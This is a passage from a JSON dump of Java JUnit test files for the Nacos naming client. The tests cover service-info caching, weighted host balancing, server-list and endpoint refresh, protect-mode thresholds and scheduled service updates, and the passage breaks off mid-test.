assertEquals(expect.getKey(), actual.getKey());\n    }\n    \n    @Test\n    void testProcessServiceInfoWithPushEmpty() throws NacosException {\n        ServiceInfo oldInfo = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        oldInfo.setHosts(hosts);\n        \n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_PUSH_EMPTY_PROTECTION, \"true\");\n        holder.shutdown();\n        holder = new ServiceInfoHolder(\"aa\", \"scope-001\", nacosClientProperties);\n        holder.processServiceInfo(oldInfo);\n        \n        ServiceInfo newInfo = new ServiceInfo(\"a@@b@@c\");\n        \n        final ServiceInfo actual = holder.processServiceInfo(newInfo);\n        \n        assertEquals(oldInfo.getKey(), actual.getKey());\n        assertEquals(2, actual.getHosts().size());\n    }\n    \n    @Test\n    void testProcessNullServiceInfo() {\n        assertNull(holder.processServiceInfo(new ServiceInfo()));\n    }\n    \n    @Test\n    void testProcessServiceInfoForOlder() {\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        Instance instance2 = createInstance(\"1.1.1.2\", 2);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        hosts.add(instance2);\n        info.setHosts(hosts);\n        info.setLastRefTime(System.currentTimeMillis());\n        holder.processServiceInfo(info);\n        ServiceInfo olderInfo = new ServiceInfo(\"a@@b@@c\");\n        olderInfo.setLastRefTime(0L);\n        final ServiceInfo actual = holder.processServiceInfo(olderInfo);\n        assertEquals(olderInfo, actual);\n    }\n    \n    @Test\n    void testGetServiceInfo() {\n        ServiceInfo info = new ServiceInfo(\"a@@b@@c\");\n        Instance instance1 = createInstance(\"1.1.1.1\", 1);\n        List<Instance> hosts = new ArrayList<>();\n        hosts.add(instance1);\n        info.setHosts(hosts);\n        \n        ServiceInfo expect = holder.processServiceInfo(info);\n        String serviceName = \"b\";\n        String groupName = \"a\";\n        ServiceInfo actual = holder.getServiceInfo(serviceName, groupName);\n        \n        // Verify it's a clone (different object)\n        assertNotSame(expect, actual);\n        \n        // Verify content is the same\n        assertEquals(expect.getKey(), actual.getKey());\n        assertEquals(expect.getHosts().size(), actual.getHosts().size());\n        assertEquals(expect.getHosts().get(0), actual.getHosts().get(0));\n        \n        // Verify hosts list is different\n        assertNotSame(expect.getHosts(), actual.getHosts());\n    }\n    \n    @Test\n    void testGetServiceInfoReturnsNull() {\n        String serviceName = \"nonExistent\";\n        String groupName = \"group\";\n        ServiceInfo actual = holder.getServiceInfo(serviceName, groupName);\n        assertNull(actual);\n    }\n    \n    @Test\n    void testShutdown() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        Field field = ServiceInfoHolder.class.getDeclaredField(\"failoverReactor\");\n        field.setAccessible(true);\n        FailoverReactor reactor = (FailoverReactor) field.get(holder);\n        Field executorService = FailoverReactor.class.getDeclaredField(\"executorService\");\n        executorService.setAccessible(true);\n        ScheduledExecutorService pool = (ScheduledExecutorService) executorService.get(reactor);\n        assertFalse(pool.isShutdown());\n        holder.shutdown();\n        assertTrue(pool.isShutdown());\n    }\n    \n    @Test\n    void testConstructWithCacheLoad() throws NacosException {\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_LOAD_CACHE_AT_START, \"true\");\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_CACHE_REGISTRY_DIR, \"non-exist\");\n        holder.shutdown();\n        holder = new ServiceInfoHolder(\"aa\", \"scope-001\", nacosClientProperties);\n        assertEquals(System.getProperty(\"user.home\") + \"/nacos/non-exist/naming/aa\", holder.getCacheDir());\n        assertTrue(holder.getServiceInfoMap().isEmpty());\n    }\n    \n    @Test\n    void testIsFailoverSwitch() throws IllegalAccessException, NoSuchFieldException, NacosException {\n        FailoverReactor mock = injectMockFailoverReactor();\n        when(mock.isFailoverSwitch()).thenReturn(true);\n        assertTrue(holder.isFailoverSwitch());\n    }\n    \n    @Test\n    void testGetFailoverServiceInfo() throws IllegalAccessException, NoSuchFieldException, NacosException {\n        FailoverReactor mock = injectMockFailoverReactor();\n        ServiceInfo serviceInfo = new ServiceInfo(\"a@@b@@c\");\n        when(mock.getService(\"a@@b\")).thenReturn(serviceInfo);\n        assertEquals(serviceInfo, holder.getFailoverServiceInfo(\"b\", \"a\"));\n    }\n    \n    private FailoverReactor injectMockFailoverReactor()\n            throws NoSuchFieldException, IllegalAccessException, NacosException {\n        Field field = ServiceInfoHolder.class.getDeclaredField(\"failoverReactor\");\n        field.setAccessible(true);\n        FailoverReactor old = (FailoverReactor) field.get(holder);\n        old.shutdown();\n        FailoverReactor mock = mock(FailoverReactor.class);\n        field.set(holder, mock);\n        return mock;\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/core/BalancerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass BalancerTest {\n    \n    @Test\n    void testGetHostByRandomWeightNull() {\n        assertNull(Balancer.getHostByRandomWeight(null));\n        assertNull(Balancer.getHostByRandomWeight(new ArrayList<>()));\n    }\n    \n    @Test\n    void testGetHostByRandomWeight() {\n        List<Instance> list = new ArrayList<>();\n        Instance instance1 = new Instance();\n        list.add(instance1);\n        final Instance actual = Balancer.getHostByRandomWeight(list);\n        assertEquals(instance1, actual);\n    }\n    \n    @Test\n    void testSelectHost() {\n        List<Instance> hosts = new ArrayList<>();\n        Instance instance1 = new Instance();\n        hosts.add(instance1);\n        ServiceInfo serviceInfo = new ServiceInfo();\n        serviceInfo.setHosts(hosts);\n        \n        final Instance actual = Balancer.RandomByWeight.selectHost(serviceInfo);\n        assertEquals(instance1, actual);\n    }\n    \n    @Test\n    void testSelectHostEmpty() {\n        Throwable exception = assertThrows(IllegalStateException.class, () -> {\n            ServiceInfo serviceInfo = new ServiceInfo();\n            \n            Balancer.RandomByWeight.selectHost(serviceInfo);\n        });\n        assertTrue(exception.getMessage().contains(\"no host to srv for serviceInfo: null\"));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/core/NamingServerListManagerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.address.EndpointServerListProvider;\nimport com.alibaba.nacos.client.address.ServerListProvider;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertInstanceOf;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.contains;\nimport static org.mockito.ArgumentMatchers.eq;\n\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NamingServerListManagerTest {\n    \n    @Mock\n    NacosRestTemplate nacosRestTemplate;\n    \n    NacosRestTemplate cachedNacosRestTemplate;\n    \n    NacosClientProperties clientProperties;\n    \n    HttpRestResult httpRestResult;\n    \n    NamingServerListManager serverListManager;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        clientProperties = NacosClientProperties.PROTOTYPE.derive();\n        Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n        restMapField.setAccessible(true);\n        Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n        cachedNacosRestTemplate = restMap.get(\n                \"com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager$NamingHttpClientFactory\");\n        restMap.put(\"com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager$NamingHttpClientFactory\",\n                nacosRestTemplate);\n        httpRestResult = new HttpRestResult<>();\n        httpRestResult.setData(\"127.0.0.1:8848\");\n        httpRestResult.setCode(200);\n        Mockito.when(nacosRestTemplate.get(contains(\"127.0.0.1\"), any(), any(), any())).thenReturn(httpRestResult);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        if (null != cachedNacosRestTemplate) {\n            Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n            restMapField.setAccessible(true);\n            Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n            restMap.put(\"com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager$NamingHttpClientFactory\",\n                    cachedNacosRestTemplate);\n        }\n        if (null != serverListManager) {\n            serverListManager.shutdown();\n        }\n    }\n    \n    @Test\n    void testConstructWithAddr() throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1:8848,127.0.0.1:8849\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        final List<String> serverList = serverListManager.getServerList();\n        assertEquals(2, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        assertEquals(\"127.0.0.1:8849\", serverList.get(1));\n    }\n    \n    @Test\n    void testConstructWithAddrTryToRefresh() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1:8848,127.0.0.1:8849\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(2, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        assertEquals(\"127.0.0.1:8849\", serverList.get(1));\n        serverList = serverListManager.getServerList();\n        assertEquals(2, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        assertEquals(\"127.0.0.1:8849\", serverList.get(1));\n    }\n    \n    @Test\n    void testConstructWithEndpointAndRefresh() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        \n        httpRestResult.setData(\"127.0.0.1:8848\\n127.0.0.1:8948\");\n        mockThreadInvoke(serverListManager, true);\n        serverList = serverListManager.getServerList();\n        assertEquals(2, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        assertEquals(\"127.0.0.1:8948\", serverList.get(1));\n    }\n    \n    @Test\n    void testConstructWithEndpointAndTimedNotNeedRefresh() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        \n        httpRestResult.setData(\"127.0.0.1:8848\\n127.0.0.1:8948\");\n        serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructWithEndpointAndRefreshEmpty() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        \n        httpRestResult.setData(\"\");\n        serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructWithEndpointAndRefreshException() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n        \n        httpRestResult.setCode(500);\n        serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructWithEndpointWithCustomPathAndName() throws Exception {\n        clientProperties.setProperty(PropertyKeyConst.CONTEXT_PATH, \"aaa\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"bbb\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        Mockito.reset(nacosRestTemplate);\n        Mockito.when(nacosRestTemplate.get(eq(\"http://127.0.0.1:8080/aaa/bbb\"), any(), any(), any()))\n                .thenReturn(httpRestResult);\n        serverListManager = new NamingServerListManager(clientProperties, \"\");\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructWithEndpointWithEndpointPathAndName() throws Exception {\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, \"aaa\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"bbb\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        Mockito.reset(nacosRestTemplate);\n        Mockito.when(nacosRestTemplate.get(eq(\"http://127.0.0.1:8080/aaa/bbb\"), any(), any(), any()))\n                .thenReturn(httpRestResult);\n        serverListManager = new NamingServerListManager(clientProperties, \"\");\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructEndpointContextPathPriority() throws Exception {\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, \"aaa\");\n        clientProperties.setProperty(PropertyKeyConst.CONTEXT_PATH, \"bbb\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"ccc\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        Mockito.reset(nacosRestTemplate);\n        Mockito.when(nacosRestTemplate.get(eq(\"http://127.0.0.1:8080/aaa/ccc\"), any(), any(), any()))\n                .thenReturn(httpRestResult);\n        serverListManager = new NamingServerListManager(clientProperties, \"\");\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testConstructEndpointContextPathIsEmpty() throws Exception {\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, \"\");\n        clientProperties.setProperty(PropertyKeyConst.CONTEXT_PATH, \"bbb\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"ccc\");\n        clientProperties.setProperty(PropertyKeyConst.ENDPOINT, \"127.0.0.1\");\n        Mockito.reset(nacosRestTemplate);\n        Mockito.when(nacosRestTemplate.get(eq(\"http://127.0.0.1:8080/bbb/ccc\"), any(), any(), any()))\n                .thenReturn(httpRestResult);\n        serverListManager = new NamingServerListManager(clientProperties, \"\");\n        serverListManager.start();\n        List<String> serverList = serverListManager.getServerList();\n        assertEquals(1, serverList.size());\n        assertEquals(\"127.0.0.1:8848\", serverList.get(0));\n    }\n    \n    @Test\n    void testIsDomain() throws Exception {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1:8848\");\n        serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        assertTrue(serverListManager.isDomain());\n        assertEquals(\"127.0.0.1:8848\", serverListManager.getNacosDomain());\n    }\n    \n    @Test\n    void testGetCurrentServer() throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1:8848\");\n        final NamingServerListManager serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"127.0.0.1:8848\", serverListManager.getCurrentServer());\n        assertEquals(\"127.0.0.1:8848\", serverListManager.genNextServer());\n    }\n    \n    @Test\n    void testShutdown() throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1:8848\");\n        final NamingServerListManager serverListManager = new NamingServerListManager(properties);\n        serverListManager.start();\n        Assertions.assertDoesNotThrow(() -> {\n            serverListManager.shutdown();\n        });\n    }\n    \n    @Test\n    void testStartWithEmptyServerList() {\n        Properties properties = new Properties();\n        properties.setProperty(\"EmptyList\", \"true\");\n        properties.setProperty(\"MockTest\", \"true\");\n        final NamingServerListManager serverListManager = new NamingServerListManager(properties);\n        assertThrows(NacosException.class, serverListManager::start);\n    }\n    \n    private void mockThreadInvoke(NamingServerListManager serverListManager, boolean expectedInvoked)\n            throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {\n        Field providerField = AbstractServerListManager.class.getDeclaredField(\"serverListProvider\");\n        providerField.setAccessible(true);\n        ServerListProvider serverListProvider = (ServerListProvider) providerField.get(serverListManager);\n        assertInstanceOf(EndpointServerListProvider.class, serverListProvider);\n        Field field = EndpointServerListProvider.class.getDeclaredField(\"lastServerListRefreshTime\");\n        field.setAccessible(true);\n        field.set(serverListProvider, expectedInvoked ? 0 : System.currentTimeMillis());\n        Method method = EndpointServerListProvider.class.getDeclaredMethod(\"refreshServerListIfNeed\");\n        method.setAccessible(true);\n        method.invoke(serverListProvider);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/core/ProtectModeTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ProtectModeTest {\n    \n    @Test\n    void testProtectThresholdDefault() {\n        final ProtectMode protectMode = new ProtectMode();\n        assertEquals(0.8f, protectMode.getProtectThreshold(), 0.01f);\n    }\n    \n    @Test\n    void testSetProtectThreshold() {\n        final ProtectMode protectMode = new ProtectMode();\n        float expect = 0.7f;\n        protectMode.setProtectThreshold(expect);\n        assertEquals(expect, protectMode.getProtectThreshold(), 0.01f);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/core/ServiceInfoUpdateServiceTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.core;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeNotifier;\nimport com.alibaba.nacos.client.naming.remote.NamingClientProxy;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo  remove strictness lenient\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass ServiceInfoUpdateServiceTest {\n    \n    String serviceName = \"aa\";\n    \n    String group = \"bb\";\n    \n    String clusters = \"cc\";\n    \n    @Mock\n    ServiceInfoHolder holder;\n    \n    @Mock\n    NamingClientProxy proxy;\n    \n    @Mock\n    InstancesChangeNotifier notifier;\n    \n    NacosClientProperties nacosClientProperties;\n    \n    ServiceInfo info;\n    \n    ServiceInfoUpdateService serviceInfoUpdateService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        nacosClientProperties = NacosClientProperties.PROTOTYPE.derive();\n        info = new ServiceInfo();\n        info.setName(serviceName);\n        info.setGroupName(group);\n        info.setClusters(clusters);\n        info.setLastRefTime(System.currentTimeMillis());\n        when(proxy.queryInstancesOfService(serviceName, group, clusters, false)).thenReturn(info);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        if (null != serviceInfoUpdateService) {\n            serviceInfoUpdateService.shutdown();\n        }\n    }\n    \n    @Test\n    void testScheduleUpdateWithoutOpen() throws InterruptedException, NacosException {\n        serviceInfoUpdateService = new ServiceInfoUpdateService(null, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy, Mockito.never()).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsent() throws InterruptedException, NacosException {\n        info.setCacheMillis(10000L);\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentDuplicate() throws InterruptedException, NacosException {\n        info.setCacheMillis(10000L);\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        // Only once called\n        Mockito.verify(proxy).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentUpdateOlder() throws InterruptedException, NacosException {\n        info.setCacheMillis(10000L);\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        Map<String, ServiceInfo> map = new HashMap<>();\n        map.put(ServiceInfo.getKey(group + \"@@\" + serviceName, clusters), info);\n        when(holder.getServiceInfoMap()).thenReturn(map);\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentUpdateOlderWithInstance() throws InterruptedException, NacosException {\n        info.setCacheMillis(10000L);\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        Map<String, ServiceInfo> map = new HashMap<>();\n        map.put(ServiceInfo.getKey(group + \"@@\" + serviceName, clusters), info);\n        when(holder.getServiceInfoMap()).thenReturn(map);\n        info.setHosts(Collections.singletonList(new Instance()));\n        TimeUnit.MILLISECONDS.sleep(1500);\n        Mockito.verify(proxy).queryInstancesOfService(serviceName, group, clusters, false);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentWith403Exception()\n            throws InterruptedException, NacosException, NoSuchFieldException, IllegalAccessException {\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        when(proxy.queryInstancesOfService(serviceName, group, clusters, false)).thenThrow(\n                new NacosException(403, \"test\"));\n        TimeUnit.MILLISECONDS.sleep(1500);\n        assertTrue(getScheduleFuture().getDelay(TimeUnit.MILLISECONDS) > 1000);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentWith500Exception()\n            throws InterruptedException, NacosException, NoSuchFieldException, IllegalAccessException {\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        when(proxy.queryInstancesOfService(serviceName, group, clusters, false)).thenThrow(\n                new NacosException(500, \"test\"));\n        TimeUnit.MILLISECONDS.sleep(1500);\n        assertTrue(getScheduleFuture().getDelay(TimeUnit.MILLISECONDS) > 2000);\n    }\n    \n    @Test\n    void testScheduleUpdateIfAbsentWithOtherException()\n            throws InterruptedException, NacosException, NoSuchFieldException, IllegalAccessException {\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new ServiceInfoUpdateService(nacosClientProperties, holder, proxy, notifier);\n        serviceInfoUpdateService.scheduleUpdateIfAbsent(serviceName, group, clusters);\n        when(proxy.queryInstancesOfService(serviceName, group, clusters, false)).thenThrow(\n                new RuntimeException(\"test\"));\n        TimeUnit.MILLISECONDS.sleep(1500);\n        assertTrue(getScheduleFuture().getDelay(TimeUnit.MILLISECONDS) > 1000);\n    }\n    \n    @Test\n    void testStopScheduleUpdateIfAbsent() throws InterruptedException, NacosException {\n        info.setCacheMillis(10000L);\n        nacosClientProperties.setProperty(PropertyKeyConst.NAMING_ASYNC_QUERY_SUBSCRIBE_SERVICE, \"true\");\n        serviceInfoUpdateService = new 